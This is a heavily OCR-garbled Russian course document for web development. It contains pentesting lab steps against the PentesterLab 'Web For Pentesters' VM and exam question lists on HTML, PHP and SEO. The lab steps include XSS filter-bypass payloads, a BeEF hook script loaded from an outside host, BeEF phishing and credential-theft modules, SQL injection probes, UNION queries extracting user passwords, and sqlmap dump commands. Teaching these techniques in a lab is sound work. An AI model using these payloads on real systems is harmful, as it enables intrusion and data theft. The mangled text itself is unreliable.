MaIIuHy. 3arpy3uThes ¢ qucka. B 6paysepe OTKpbITh BEO-NIPUIIOKEHHE.
Hlar 2. [Mepeiiti mo cceuike «XSS — Example 1». IlpoananusupoBars JOruKky (yHKIMOHHPOBAHUS BeO-
npuioxeHus. OnpeaennTb KOHTEKCT BO3MOXXHOM aTaku XSS. B kauecTBe nepeMeHHON name BBECTU BEKTOP
<script>alert(1)</script>
[ar 3. Ilepeiitu no cceuike «XSS — Example 2». [Ipoananu3upoBars JOTUKY (YHKIIMOHUPOBaHUS BEO-
npuiiokeHus. OnpeaenuTs KOHTEKCT BO3MOXKHON aTaku XSS. B kauecTBe nepeMeHHON name BBECTH BEKTOP
<script>alert(1)</script>
Y6enutbces, 4To cioBo script punbTpyercs. Beectu BekTop
<ScRipT>alert(1)</sCrlpT>
[ar 4. Tlepetitu no cceuike «XSS — Example 3». [IpoananusupoBarh JOTUKY (PYHKITMOHUPOBAHUS BEO-
npuiiokeHus. OnpenennTs KOHTEKCT BO3MOXHON aTaku XSS. B kauecTBe mepeMEHHON name BBECTH BEKTOP
<script>alert(1)</script>
Y6enutbes, 4To €I0BO <script> BbIpe3aercs. Beectu BekTop
<scr<script>ipt>alert(1)</s</script>cript>
Hlar 5. IMepeiitu no cceuike «XSS — Example 4». [IpoananusupoBaTh JOTUKY (HYHKIIMOHUPOBaHUS BeO-
npuiiokeHus. OnpeaenuTs KOHTEKCT BO3MOXKHOU aTaku XSS. B kauecTBe nepeMeHHOI name BBECTH BEKTOP
<script>alert(1)</script>
Y6enutbes, 4To CIOBO <script™> BbIpe3aeTcs KOPpeKTHO. BBecTH BeKkTOp
<img/src=1 onerror=alert(1)>
[ar 6. Tlepetitu mo cceuike «XSS — Example 5». [Ipoananu3upoBarh JOTUKY (PYHKITMOHUPOBAHHS BEO-
npuiokeHus. OnpenenuTb KOHTEKCT BO3MOXKHOM aTaku XSS. B kauecTBe nepeMeHHON name BBECTH BEKTOpa
<script>alert(1)</script>
<img/src=1 onerror=alert(1)>
Yo6eauthcs, 4To cioBo alert BeIpe3aercs KOppeKTHO. BBecTu BekTOopa
<img/src=1 onerror=\u0061alert(1)>
<img/src=1 onerror=prompt(1)>
<img src=1 onerror="t=/aler/.source%2b/t(1)/.source; eval(t)">
[ar 7. Tlepetitu mo cceuike «XSS — Example 6». [IpoananusupoBath JO0TUKY (DYHKITMOHUPOBAHUS BEO-
npuiiokeHus. OnpenenuTb KOHTEKCT BO3MOXKHOM aTaku XSS. B kauecTBe nepeMeHHON name BBECTH BEKTOpa
".alert(1);"
</script><script>alert(1);//
[ar 8. Tlepetitu mo cceuike «XSS — Example 7». IIpoananusupoBarh JOTUKY (PYHKITMOHUPOBAHHS BEO-
npuiokeHus. OnpeaennTs KOHTEKCT BO3MOXHOM aTaku XSS. B kauecTBe nepeMeHHOM name BBECTH BEKTOP
".alert(1);"
Yo6enutbes, uro cumBon " kogupyercs B HTML-cymHocts &quot. B kadecTBe nepeMeHHOM name
BBecTH BekTop ';alert(1);'
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[ar 9. Tlepetitu mo cceuike «XSS — Example 8». [IpoananusupoBath JIOTHKY (YHKIIMOHUPOBAHUS BEO-
npuioxeHus. OnpeneanuTh KOHTEKCT BO3MOKHOM ataku XSS. BBo/iuMbIe TaHHBIE KOJUPYIOTCS KOPPEKTHO.
N3mennts URL Ha___cnenyromuid:
xss/example8.php/"onsubmit="alert(1)
[ar 10. [Tepetitu mo cceuike «XSS — Example 9». [Ipoananu3upoBath J0TUKY (yHKIIMOHHPOBAHUS BEO-
npwiokeHus. OnpeneuTs KOHTEKCT | TUTT BO3MOXKHOM ataku XSS. B Opay3epe mepeiiTu o cchuike
xss/example9.php#<script>alert(1)</script>.
Yo6enutbes, uro Hukakoro HTTP-3anpoca He oTmpaBisieTcs.
[lar 11. 3anyctuth cpeny sxcrnyatauuu yazsumocteid BeEF. Ilepeiitu no cepuike «XSS —
Example 1». B kauecTBe 3Ha4eHHSI MTapaMeTpa name BBECTH BEKTOP
<script src="http://1.1.1.1:3000/hook.js"></script>
[lepeiiTn B koHconb BeEF, BBecTn crannaptheie norus u napois (beef:beef). B pasnene «Online Browser»
JIOJDKEH oToOpakaThes Bamn Opaysep. Bo Bkimagke «Detailsy mpocmorpers umHboOpManuio o Opayzepe u
kommetorepe. [lepeiitu Bo Bknaaky «Commandsy. BeimosHUTh
CleayIoIre KOMaHabl ¥ MPOAHATU3UPOBATh MMOJIYYECHHBIE PE3YIIbTATHI:

— «Create Alert Dialogy;

— «Redirect Browsery, nepeHanpaBuB Mmosib30BarTeis Ha caT http://evil.com;

— «Clickjackingy;

— «Clippy»;

— «Fake Notification Bary;

— «Google Phishingy;

— «Pretty Theft».
3apanue Ne 2. BeinoaHUTh 3aaHus 110 TOMCKY YsI3BUMOCTEH K atakaM XSS Ha caiite Xss- game.appspot.com.
3aganue Ne 3. BoImoHUTE 3aaHMs 110 TIOUCKY YSA3BUMOCTEH K arakaMm XSS Ha caiite escape.alf.nu.
3aganue Ne 4. BoimonHuTh 3a7jaHus 110 TIOUCKY ysA3BUMOCTEH K aTakaM XSS Ha caifte prompt.ml.

JladopaTopnas padora 27. «Ilouck ys3Bumocreii k arakam SQL-injection.»

Hens: 00ydyeHrne MeTo1aM U CpeCTBAM UACHTU(PUKAIIUH U SKCILTyaTalluy ysI3BUMOCTEH B BEO- MPUIIOKEHUSIX
Kk arakam SQL-injection.
XOJ PABOTHI:
Bananue Ne 1. BeInoHUTh HACHTH(DUKAIMIO U SKCIUTyaTallMIo yA3BUMOCTel K arakam SQL-injection.
Tlocneoosamenvrocmo Oeticmauii
[lar 1. Ckauyats 06pa3 «Web For Pentesters» ¢ Be6-caiita Www.pentesterlab.com. Co3aats BUPTyaabHYFO
MaIlIMHy. 3arpy3uThes ¢ Jucka. B Opaysepe OTKpbITh BEO-TIPUIIOKEHHE.
[lar 2. TIlepeiitu mno cceuike «SQL injections — Example 1». IIpoananu3upoBath JIOTHKY
dbyHKIIMOHUpOBaHUs BeO-Tipriiokenus. [locienoBarensHO BBECTH CIIEYIOIINE 3aPOChl, 00Opallias BHUMaHHe
Ha BBIBO/J] BEO-TIPUIIOKEHUS, CIIeNIaTh MPEIIOJI0kKEHHE O CTPYKTYpe ucnonb3dyemoro SQL- 3ampoca:

— sqgli/examplel.php?name=root’

— sqli/examplel.php?name=root"

— sqgli/examplel.php?name=root'%201=1

— sqli/examplel.php?name=root'%201=1#

— sqli/examplel.php?name=root'%201=1%20—

— sqli/examplel.php?name=root'%201=1%20/*

— sqgli/examplel.php?name=root'%20'1'="1

— sqli/examplel.php?name=root'%20'1'="2

— sqgli/examplel.php?name=root'%23sqli
[Mocneanue Tpu 3ampoca MO3BOJISIOT ClIENIATh BEIBOA 00 YsI3BUMOCTH ITapaMmeTpa name k atake SQL- injection.
BbINOTHUTH ClieAyIONIy0 KOMaHy:
# python sqlmap.py —p name —dmbs=mysql —dump
—Uu http://IP_address/sgli/examplel.php?name=root
[IpocMoTpeTh pe3ynpTaTsl paboThl MPOTrPAMMBIL, TPOCMOTPETH MOJIYUYEHHBIC TaHHBIE U3 0a3bl JaHHBIX.
[Mar 2. TIlepeittm 1o cceuike «SQL injections — Example 2». [IpoaHamu3upoBaTh JOTUKY
¢yHKIMOHMpOBaHUS BeO-TipuiioxkeHus. [lociaenoBareabHO BBECTH CIEAYIOIINE 3aIIPOCH], 00palas BHUMaHUE
Ha BBIBOJ] BEO-TIPUIIOKEHUS, CI€TIaTh MPEANOI0KEHHE O CTPYKTYpe
ucnoaszyemoro SQL-3ampoca:

— sgli/fexample2.php?name=root%20and%201=1
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— sgli/fexample2.php?name=root'%09and%09'1'="1

— sgli/example2.php?name=root'%09and%09'1'="2

— sgli/example2.php?name=root'%2b%?2b'
[Mocnennue Tpu 3ampoca MO3BOJISIOT CIC/IaTh BBIBOJ 00 YA3BUMOCTH IapaMeTpa name k atake SQL- injection.
3anmyctuth sqlmap, yOeauThes, 94TO B JAHHOM CITy4ae OH HE CMOT MJICHTU(PHUITMPOBATh YSA3BUMBIN TTapamMeTp.
Hlar 3. Ilepeiitu mo cceuike «SQL injections — Example 3». IIpoaHamu3upoBaTh JIOTUKY
(byHKI_II/IOHI/I]I)OBaHI/IH BCG-HpI/IJ'IO}KCHI/IS[. HOCJ’IGI[OBaTCJ'II)HO BBECTHU CJICAYIOLIUE 3aIlIPOCHI, 06pamaﬂ BHUMAHHE
Ha BBIBOJ] BEO-TIPHIIOKEHUS, CACTATh MPEATIOI0KEHUE O CTPYKTYpeE
ucnoab3zyemoro SQL-3anpoca:

— sgli/example3.php?name=root%20and%?201=1

— sgli/example3.php?name=root'/**/and/**/'1'="1

— sgli/example3.php?name=root'/**/and/**/'1'="2

— sgli/example3.php?name=root'%2b%?2b'
[Mocnennue Tpu 3ampoca MO3BOJISIOT CICNIaTh BBIBOJI 00 YA3BUMOCTH MapaMeTpa name k atake SQL- injection.
BaHyCTI/ITB sqlmap, y6e,[[I/ITBC$I, 4TO B JAHHOM CJIyda€ OH HC€ CMOXKCET I/I,Z[GHTI/I(bI/II_[I/IpOBaTB y5[3BI/IMBII71
rnapamerp.
[Har 4. Ilepeiitu mno cceuike «SQL injections — Example 4». Ilpoananu3upoBaTh JIOTHKY
¢dyHkunoHnpoBaHus BeO-mpuioxenus. [lociaenoBarepHO BBECTH CIEYIOIINE 3aIIPOCHI, 00paliasi BHUMaHUE
Ha BbBIBO/ Be6-HpI/IJ'IO)I(eHI/I}I, CACJIaTh IPECAIOJIOKECHUE O CTPYKTYPC
ucnoaszyemoro SQL-3ampoca:

— sgli/fexample4.php?id=2

— sqli/example4.php?id=2'

— sgli/example4.php?id=2"

— sqli/example4.php?id=1%2b1

— sgli/fexample4.php?id=0%2b2

— sqli/example4.php?id=3-1
[Mocnennue TpH 3ampoca MO3BOJIAIOT CIENaTh BBIBOJ 00 ys3BUMoOCTH mapaMetpa id k arake SQL- injection.
BpInosHUTE cneayronyo KOMaH1y:
# python sqlmap.py —p id —dmbs=mysqgl —dump
—u http://IP_address/sgli/example4.php?id=1
[TpocMmoTpeTh nostyueHHbIe JaHHbIE U3 0a3bl JaHHBIX. [IpocMoTpeTs ucxonuslit kox PHP-cuenapus.



Hlar 5. Ilepeiitn mo cceuike «SQL injections — Example 5». Ilpoananu3upoBarh JIOTHKY
dbyHKIIMOHUpOBaHUs BeO-TiprioxkeHus. [locnenoBareabHO BBECTH CIEAYIONIUE 3aMpOChl, 0Oparas
BHUMAaHNE Ha BBIBOJI BEO-TIPUIIOKEHUS, C/I€IaTh MPEAIOI0KEHHE O CTPYKTYpE UCHOIb3yeMoro SQL-
3arpoca:

— sqli/example5.php?id=2

— sgli/example5.php?id=2'

— sqli/example5.php?id=2"

— sgli/fexample5.php?id=1%2b1

— sqli/example5.php?id=0%2b2

— sgli/example5.php?id=3-1
[Tocnennue Tpu 3ampoca MO3BOJSIOT CAENATh BBIBOA 00 ys3BUMOCTH mapamerpa id x atake SQL-
injection. BBIMOIHUTE CIENYIONTYI0O KOMaHTY:
# python sqlmap.py —p id —dmbs=mysql —dump
—Uu http://IP_address/sgli/fexample5.php?id=1
[TpocMoTpeTh noay4YeHHbIE AaHHble U3 0a3bl JaHHbIX. [IpocmoTpeTs ucxonusiit kog PHP-ciienapus.
[ar 6. Ilepeiitu mo cceuike «SQL injections — Example 5». [IpoananusupoBarh IOTUKY
¢byHkunoHupoBaHus BeO-puiioxkenus. [locinenoBaTrenbHO BBECTH CIIEAYIONINE 3aPOChI, oOparas
BHUMaHUE Ha BBIBO/] BEO-TIPUIIOKEHUS, CAENATh MPEANOI0KEHHE O CTPYKTYpe Uctonb3yeMoro SQL-
3ampoca:

— sgli/example6.php?id=2

— sqli/example6.php?id=2'

— sgli/example6.php?id=2"

— sqli/example6.php?id=1%2b1

— sgli/example6.php?id=0%2b2

— sqli/example6.php?id=3-1

— sgli/example6.php?id=5-3
[Tocneanue Tpu 3ampoca MO3BOJIAIOT clienaTh BbIBOA 00 ysa3BUMoOcCTH napamerpa id x atake SQL-
injection. 3amyctuTh sqlmap, yoeauTbcs, 4TO B JAHHOM CIIydae OH HE MOXET MPOIKCILTyaTHPOBaTh
ys3BUMBIN napametp. IIpocmorpeTs ncxoansiit kox PHP-cuenapusi.
Hlar 7. Ilepeiitn mo ccbuike «SQL injections — Example 5». IIpoananu3upoBarh JOTHKY
¢GyHKIIMOHMpOBaHUs BeO-TIpuiioxkeHus. [locienoBareabHO BBECTH CIEAYIONIME 3alpoChl, 0Opalas
BHUMaHNE Ha BBIBOJI BEO-TIPUIIOKEHUS, C/I€IaTh MPEAINOI0KEHHE O CTPYKType ucnoiab3yemoro SQL-
3ampoca:

— sgli/example7.php?id=2

— sqli/example7.php?id=2'

— sgli/example7.php?id=2"

— sqli/example7.php?id=1%2b1

— sqli/example7.php?id=3-1

— sqgli/example7.php?id=2%0Aand%201=1

— sqli/example7.php?id=2%0Aand%201=2

— sqli/example7.php?id=2%0A%23sqli
[Tocnennue Tpu 3ampoca MO3BOJSIOT cAeNaTh BBIBOJA 00 ys3BUMOCTH mapamerpa id k atake SQL-
injection. 3anycTuth sqlmap, yoenutbcs, 4To B JAHHOM CIy4dae OH HE MOXET MPOIKCIUTYyaTHPOBaTh
ySI3BUMBIN apaMeTp. BeINOaHUTE creayronye 3anpocsl Juist u3BieueHus AanHbix u3 CYDB/L:

- sgli/fexample7.php?id=2%0Aunion%20select%201

— sqli/example7.php?id=2%0Aunion%20select%201,2

— sgli/fexample7.php?id=2%0Aunion%20select%201,2,3

— sgli/fexample7.php?id=2%0Aunion%20select%201,2,3,4

— sgli/fexample7.php?id=2%0Aunion%20select%201,2,3,4,5

— sgli/fexample7.php?id=2%0Aunion%20select%20name,passwd,1,1,1 from users
Py4yHBIMH METOaMU TIOJTYYHUTh TaHHBIC U3 0a3bl JaHHBIX. [IpocMoTpeTh ucxoaubiil ko PHP-
cLeHapusl.
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3ananue Ne 3. [Toctpouts 1 BeIMOTHUTE SQL-3ampoc, mpuBOASIIMIA K 0TKa3y B 00CITy)KMBaHUHU BEO-
NPUIOKEHHUS, YSI3BUMOT0 K atake SQL-injection.

3ananue Ne 4. [[ns BeO-nipuiiokeHus, ysa3BUMoro k atake SQL-injection U MCHOIB3YIOMIETO IS
xpanenus ganHelx CYBJl MySQL, mnomayuuth coaepkuMoe CiIyXeOHOH ©0a3bl JaHHBIX
INFORMATION_SCHEMA.

Hnousudyanvnvle 3a0anus K YueOHOU U NPOU3BOOCMBEHHOU NPAKMUKAM NpeoCcmasieHvl 8
nPOCPAMMAx NPaKmux.

2.2. 3apaHus 1J1s1 MPOMEKYTOUHOI aTTecTAlNU

M/IK.03.01 IIpoexkTupoBaHue U pa3padoTka Bed NPHI0KeHUH
Bonpocul k ougpgpepenyuposannomy 3auemy

OcHOBHI s13b1Ka pazMeTky html

OCHOBHBIE CBE/IEHUS

Crpykrypa html-gokymenra

Cocras html-gokymenTa

Document type definition (dtd)

3aroj0BOK JI0OKyMEHTa

Teno nokymeHrta

Hpyrue snemeHTsI s3b1ka html

Tabnuub! cTriei css

0. ba3oBblii CHHTaKCHC

1. Cenexropsl TEroB

12. Knaccer

13. Wpentudukatopsl

14. KoHTEKCTHBIE CENEKTOPHI

15. Cocennue cenekTopsl

16. JlouepHue ceneKTopsl

17. Cenextopsl aTpuOyTOB

18. VHuBepcaibHBIi CETEKTOP

19. I'pynnupoBanue

20. HacnenoBanue

21. TlceBmoxnacchl

22. TlceBmokmnaccel, ONMpEaEIAIONIe COCTOSIHUE YJIEMEHTOB
23. TlceBnokiacchl, IMEIOIINE OTHOIICHHUE K IEPEBY JTOKYMEHTA
24. TlceBnodiIeMEHTEI

25. DIeMEeHTHI CSS

26. Omnwucanue .net framework

27. Bo3moxxHOCTH cpebl clr

28. bubnnoteka kiaccoB miaatdopmsl .net framework

29. PaszButue miathopmsl .net

30. KmroueBble TepMUHBI

31. O630p TexHONOTHH asp.net

32. XXuzHeHHbII LUK BeO-CTpaHUIl asp.net

33. OO0mue dTanbl )KU3HEHHOTO IIHKJIa CTPAHHIIBI

34. CoObITHS KU3HEHHOTO [IUKJIA

35. JlonOJHUTENbHbIE ACIEKTHI )KU3HEHHOTO IIUKJIa CTPAHULIBI
36. YmpaBieHHEe COCTOSHUEM B asp.net

37. CocrosiHue TpocMOTpa viewstate

38. CoxpaHeHue 0ObEKTOB B COCTOSIHUU IIPOCMOTpaA

39. OueHMBaHUE NPEUMYILECTB UCIIOJIb30BaHUS COCTOSHUS IIPOCMOTpa

RO ~NORwNE



40.
41.
42.
43.
44,
45.
46.
47.
48.
49.
50.
51.

52.
53.
54,
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Ctpoka 3ampoca

Hcnonb3oBaHKue CTPOKU 3aripoca

Cookie

Hcnonb3oBanue session

ApXUTEKTypa ceaHca

Hcnonp30BaHuE COCTOSIHUSL CEaHca

[TocTaBUIMKM COCTOSIHUS CeaHca

TumoBas cTpykTypa web- mpuIoKeHun

OcHoBbl TexHonorun ASP NET

[TpuHLMI CTPYKTYpUPOBAHUS TEKCTA JOKYMEHTA.

OcHOBHBIE CBOWCTBA TEKCTOBBIX (hparMEHTOB Web-CTpaHHIIbI

Bce anemenTsl ynpaBienusi, u3 KOTopsix cocrout WEB-nipunoxenune 100aBisiroTcs B
KOHTEWHEP, pOJib KOTOPOr'O BBINOJHAET CTpaHULa npriiokeHus. CTpaHula oTBevaeT 3a
renepaunto HTML kopna, nepegaBaemMoro B MOCJIEICTBUU KIHEHTY.

CnocoOs1 popmupoBanus Tekcta. CIUCKH.

CriocoObl 3a/1aHUs TUIIEPCCHLUIOK.

Cnoco0bl TUHAMUYECKOTO CO3/IaHUS AJIEMEHTOB YIIPABJICHHUS.

Bonpocel u 3a0anusn 011 no0zomoseku K IK3ameny
Coenunenne XHTML u PHP.

. PHP. BriBog xonTeHrTa.

. KomMeHTapuu B koze.

. PHP. Ckansipubie nepeMeHHBbIE.

. PHP. CoenvHenne nepeMeHHbIX.
. Honnepxka narepnossuuu B PHP.
. ®dopmarupoanue BbiBoj1a B PHP.

2
3
4
5. PHP. BeiBog nepeMeHHBIX.
6
7
8
9

. PHP. IlepeMeHHBIE MacCCUBBI.
10. PHP. MaccuBbI ¢ YHCIIOBBIMU HHIEKCAMHU.
11. PHP. AccounaTtuBHble MacCHUBHI.
12. PHP. ®ynkuuu s paboThl C MACCHBAMHU.
13. Koncranter PHP.
14. Apudmernyeckue oneparopsl PHP.
15. Onmneparops! npucBauBanus PHP. Oneparopsl cpaBHeHuSI.
16. Jlormueckue onepatopst PHP.
17. Tlopsnok BeinonHeHus onepanuii B PHP.
18. Ctpoxu PHP.
19. ®dynakumm gatel u Bpemenu PHP.
20. PHP. Omneparop If.
21. PHP. Omeparop switch.
22. PHP. Huknsr while.
23. PHP. Iukssr do while.
24. PHP. uxkn for.
25. PHP. Iukn foreach.
26. PHP. Bxmouaemble (aiibl.
27. PHP. Ucnonb3oBanne (HyHKITUH.
28. PHP. [IpoextupoBanue Gpopm.
29. PHP. Pa6ota ¢ popmamu.
30. PHP. Ilepemennsble ceanca.
31. ®daiiner Cookies.
32. PHP. JJoctyn ODBC.
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33. Br16op 3anmceit u3 6a3bl TaHHBIX.

34. PHP. [Joctym k 6a3e nanabix MySQL.

35. PHP. [Joctym k ¢aitnam 1 mankam.

36. PHP. ITonyuenue nanHbIX (POPMBI.

37. Otnpaska E-mail u3 npunoxxennii PHP.

38. PHP. Ucnonb3oBanue ¢aiinoB INCLUDE.

39. PHP. Ucnonb3oBanue Tabaui cTUie.

40. Term XHTML co criienapuem.

41. PHP. [IporpaMmMupoBaHue MOUCKA IO KIFOUEBBIM CIIOBAM.
42. PHP. I'enepanus cirydyaitHbIX YHCEI.

43. PHP. Unentuduxarop (ID) ceanca.

44. PHP. Co3ganue cueTyuka noceTuTenei.

45. Cunrakcuc s3bika JavaScript.

46. TlepemeHHbIC U JUTEpabl B JavaScript.

47. Yrupasisole KOHCTPYKIIUH s3bIka JavaScript.

48. CranmapTHbie O0BEKTHI U QYHKIMHU siipa JavaScript.
49. OObekThI KIHeHTa JavaScript.

50. O6pabotka cooObITuit JavaScript.

M/K.03.02 OnTumu3zanus Bed-mpuI0KeHU I

Bonpocwt 012 noozomoeku Kk KOHRmMpoabHOU padome
3aganue 1
Bapuant Ne 1

CocTtaBpTe TEXHHUYECKOE 3a/JaHHE Ha pa3pabOTKy BeO-TIPUIIOKEHHS s 3alaHHOU
npeaMeTHoi obnactu. Pa3zpabotaiite caiit, coctosmuit u3 3-4 crpanuil. Bee cTpaHUIBI JOTKHBI
MMETh OJIMHAKOBBIN au3aiiH. Co3aaiite php-CKpuUIT, BBIBOJSIIUN CTpaHUIlYy ¢ (opMaTUPOBAHHOMN
cpeactBamu pasmerkn HTML unbpopmanmeit o Bac kak o paspaboruuke. [IpuBenute sS3bIKU
IPOrpaMMHUPOBAHUS M Pa3METKH, MCIOJb3yeMble sl pa3pabOTKU KIMEHTCKOM 4YacTu BeO-
MIPUIIOKEHUN.
Bapuaunt Ne 2

CocTaBbTe TEXHMUYECKOE 3aJaHME Ha pa3pabOTKy BeO-NPHIIOKEHUS JJs 3aJaHHOU
npeaMeTHo obnactu. Pazpabortaiite caiit, cocrosiuuii u3 3-4 CTpaHHI, B COOTBETCTBHH C
TEXHUUYECKUM 3aJaHueM. Bce cTpaHUIbI MOMKHBI UMETh OJAMHAKOBBINM nu3aiiH. Cozmaiite php-
CKPHIIT, TEHEPUPYIOIIHNI cTpaHully ¢ Tabnuiei ocHoBHBIX 1BeToB HTML. Kak opranmn3oBaHbl
LIMKJIMYECKHE BBIUMCIUTENbHBIE MTpoliecchl B PHP?
Bapuant Ne 3

CocTaBbTe TEXHMUYECKOE 3aJaHMe Ha pa3pabOTKy BeO-NPHIIOKEHUS JJs 3aJaHHOU
npeaMeTHo obmactu. Paspaboraiite caiit, cocrosmuii u3 3-4 CTpaHHIl, B COOTBETCTBHH C
TEXHUUYECKUM 3aJlaHueM. Bce cTpaHuIlbl JOKHBI UMETh OJJUHAKOBBIN qu3aiiH. [loarotoBsTe php-
CKPHIIT, BBHITIOJNHSIONIMKA CIEAYIOMNE ASHCTBUSA: co3/1aTh html-nokyMeHT, coaepxkamuii Gopmy ¢
nonsimu @.M.0., Aapec, E-mail, [lapons. Ilepenats BBeneHHbIE TaHHBIE Ui 00paboTku php-
nporpaMMe JIJIsl BBIBOJIA JaHHBIX Ha dKpaH. Kak opranm3oBats padboty ¢ popmamu B s3eike PHP?
Bapuant Ne 4

CocTaBpTe TEXHHUYECKOE 3a/laHWe Ha pa3paboTKy BeO-NPUIIOKEHUS M 3aJaHHOM
npeaMeTHoi oOmactu. Paspaboraiite caiiT, cocrosimuid u3 3-4 CTpaHHI, B COOTBETCTBUHU C
TEXHUUYECKUM 3aJlaHueM. Bce cTpaHuIlbl JOKHBI UMETh OJJMHAKOBBIN qu3aiiH. [loarorossTe php-
CKPHIIT, IPOBEPSIOIIN IapoJIb MOJIb30BaTENsl, BBOAUMBIN yepe3 mose ¢popmbl. Kak oprannzoBath
paboty ¢ popmamu B si3bike PHP?
Bapuant Ne §

CocTtaBpTe TEXHHYECKOE 3a/JlaHhe Ha pa3paboTKy BeO-TIPUIIOKEHHS I 3aJaHHOM
npenMeTHoi oOmactu. Paspaboraiite caiiT, cocrosimuid u3 3-4 CTpaHHI, B COOTBETCTBUHU C
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TEXHUYECKUM 3a7aHueM. Bce cTpaHuUIlbl 1OKHBI MMETh OJJMHAKOBBIN qu3aiiH. [loarorosbte php-
CKPHIIT JUIs1 OTIIPABKH 3JIEKTPOHHOTO IuchMa. KakoBa mporietypa uaeHTHPUKAIHS T0JIb30BaTeNei
u miporieccoB B PHP?
Bapuant Ne 6

CocTaBpTe TEXHHUYECKOE 3a/laHhe Ha pa3paboTKy BeO-NPUIOKEHHUS M 3aJaHHOMN
npenMeTHoi oOmactu. Paspaboraiite caiit, cocrosimuid u3 3-4 CTpaHWI, B COOTBETCTBUHU C
TEXHUUYECKUM 3aJlaHnueM. Bce cTpaHullbl JOHKHBI UMETh OJJUHAKOBBIN qu3aiiH. [loarotossTe php-
CKpHIIT, pEaJu3yIoLil BBOA M 0OpabOTKY aHKETHl IMosb3oBaTelns. [lepedrcinTe OCHOBHBIC
KOHCTPYKIUU si3bika PHP.
Bapuant Ne 7

CocTtaBpTe TEXHHUYECKOE 3a/laHhe Ha pa3paboTKy BEO-TIPUIIOKEHHS I 3aJaHHOM
npenMeTHoi oOmactu. Paspaboraiite caiit, cocrosimuid u3 3-4 CTpaHWI, B COOTBETCTBUHU C
TEXHUUYECKUM 3aJlaHnueM. Bce cTpaHullbl JOHKHBI UMETh OJJMHAKOBBIN qu3aiiH. [logroroseTe php-
CKPUNT JJIsi IPOBEIEHUS ONPOCa — FOJO0COBAHUS 110 OLIEHKE KaKOr0-TO TOBAapa WM MEPOIPUSATHUS.
Kaxk opranuzoBan ¢aitioBbIii BBOJ-BBIBOJ B si3bike PHP?
Bapuant Ne 8

CocTtaBpTe TEXHHUYECKOE 3a/laHMe Ha pa3paboTKy BEO-TIPUIIOKEHHS s 3aJaHHOM
npeaMeTHo obnactu. Paspaboraiite cailT, cocrosiuiuii u3 3-4 cTpaHMll, B COOTBETCTBUHU C
TEXHUUYECKUM 3aJlaHueM. Bce cTpaHuIlbl JOKHBI UMETh OJJUHAKOBBIN qu3aiiH. [logroroBsTe php-
CKPHIT JJ1s1 IPOBEPKH JOCTYITHOCTH CEPBEPA, aIpec KOTOPOro BBEEH NoJib3oBareneM. [IpuBeaure
S3BIKM TPOTPAMMHPOBAHUS U Pa3METKH, UCIIOJIb3YEMBbIE IS pa3paboTKU CEpBEPHOM 4acTH BeO-
IIPUIIOKEHUN.
Bapuant Ne 9

CocTtaBpTe TEXHHUYECKOE 3a/laHMe Ha pa3paboTKy BEO-TIPUIIOKEHHS s 3aJaHHOM
npenaMeTHo obnactu. Paspaboraiite caiit, cocrosimiuii u3 3-4 cTpaHMIl, B COOTBETCTBUHU C
TEXHUYECKUM 3aJlaHieM. Bce cTpaHullbl JOIKHBI UMETh 0JIMHaKOBbIH nu3aiiH. [lonrorossre php-
CKPUNT JJIsl TMOJIyY€HUS U OTOOpakeHus MH(pOpMalluu, MOJYyYEHHOW C YAaJeHHOro cepBepa
(HampuMep, MPOTHO3a MOTO/bl, JEHTHl 3arojloBKOB HoBocTel). [losicHuTe MexaHH3M ceccuil,
peanu3oBanHbiii B PHP.
Bapuant Ne 10

CocTtaBpTe TEXHHUYECKOE 3a/laHue Ha pa3paboTKy BEO-TIPMIIOKEHMS JJs 3aJaHHOU
npenMeTHoi obmactu. Paspaboraiite caiiT, cocrosimuii u3 3-4 cTpaHHI, B COOTBETCTBHUHU C
TEXHUUYECKUM 3aJlaHueM. Bce cTpaHullbpl JOKHBI UMETh OJJMHAKOBBIN qu3aiiH. [logrorossTe php-
CKPMIIT Ul COXPAaHEHUs MEepPCOHANBHBIX HACTPOEK Mosb3oBaTens (HUK M ¢oH crpanun). Kax
Opranu3oBath padoty ¢ ¢aitnamu B si3pike PHP?
Bapuant Ne 11 CocTaBbTe TEXHMUYECKOE 33/1aHUE Ha pa3pabOTKy BEO-IPUIIOKEHUS JJIs 3a1aHHOU
npenaMeTHo obmactu. Paspaboraiite cailT, coctosimuii U3 3-4 cTpaHMll, B COOTBETCTBUHU C
TEXHUYECKUM 3aJaHueM. Bce cTpaHMIbl TOJDKHBI MMETh OJUMHAKOBBIM nu3aitH. [loxrorossre php-
CKPUNT JUIsl 3allOMHHAHUS TOTO, KakuWe CTPaHUIlbl MOCEUIAMCh TOJb30BaTelieM. 3a4eM HYKHbI
cookies-gaitner?

Bonpocul 0nsa noozomosku K ougpgpepenyuposannomy zauemy:

OmmOKkH 103a0MITHTH UHTEPHET-Mara3uHa.

[ToHsITHE KOMIUIEKCHOTO ay/ANUTa CaifTa.

SEO-ananu3 caiita.

ITapameTpsr, o KoTOpEIM TIpoBOANTCS SEO-ananus3 caira.
TexHndeckue xapakrepuctuku SEO-ananusa caiita.
OreHka 103a0MIINTH caiTa.

Or11eHKa TJIaBHOW CTPaHUITHI CaiTa.

OrieHKa HIAIIKYA caliTa.

OreHKa moaBajia caunTa.

©CoNoour~WNE
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10. Ouenka HHTEPAKTUBHOCTH CaiiTa.

11. OmueHka cchUTOK caiTa.

12. OueHka KapTHHOK caiTa.

13. Ouenka HaBUTALMKU CaliTa.

14. Ouenka 3arol0BKOB cainTa.

15. Omuenka omneparuii MomMcKa 1mo Caury.

16. Ouenka au3aiiHa caiTa.

17. Onenka KOHTEHTa caiiTa.

18. Ouenka Gopm u AMATIOrOB caiiTa.

19. OueHka KOHBepCHH caiiTa.

20. Croco0Obl yCKOpPEHUSs 3arpy3Ku CaiToOB.

21. TIpruMHBI CHU)KEHUS CKOPOCTH 3arpy3KHd caiTa.

22. O6benunaeHre u munudunupoanue CSS u JS-daiiinoB — criocod yCKOpeHUs 3arpy3Ku CaiToB.
23. CokpaleHre BpeMeH! OTBETa CepBepa.

24. OnThMabHbIC OMIUK XOCTHHTA MO 3aPOCHI MOJL30BATENCH.
25. AHanmu3 cXaThs CTpaHUI] caifTa.

26. CxxaTtre n300paxeHUi 1 BUJICO caiiTa.

27. Ucnons3oanune CDN.

28. OnTuManbHOE UCTIONB30BaHUE CTHJIEH caiiTa.

29. Peanuzanus OTJIOKEHHOU 3arpy3Ku u300pakeHuil, Bueo, iframe 1 KOHTEHTA.
30. AHanm3 Kojia ¥ COKpallleHHe YHCIIa UCTIONb3yEeMBbIX IIarHHOB.
31. YMeHbIIeHUE YUCITa PETUPEKTOB.

32. AHanu3 BpeMeHH 3arpy3KH MPeIIoKEHHOTO CaiTa.

